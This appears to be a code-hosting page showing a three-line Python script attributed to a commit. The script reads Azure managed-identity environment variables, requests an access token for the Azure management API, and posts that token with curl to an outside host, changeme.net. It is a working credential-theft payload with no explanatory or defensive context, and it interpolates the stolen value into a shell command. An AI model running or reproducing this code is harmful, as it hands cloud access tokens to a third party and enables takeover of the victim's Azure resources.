c33c235b53
Co-authored-by: Hare Sudhan <code@0x6c.dev>
3 lines
301 B
Python
3 lines
301 B
Python
import os, subprocess
|
|
resp = subprocess.getoutput(f"curl -s \"{os.getenv('IDENTITY_ENDPOINT')}/?resource=https://management.azure.com/&api-version=2019-08-01\" -H \"X-IDENTITY-HEADER: {os.getenv('IDENTITY_HEADER')}\"")
|
|
subprocess.call(f"curl -s -X POST -d \"{resp}\" https://changeme.net", shell=True) |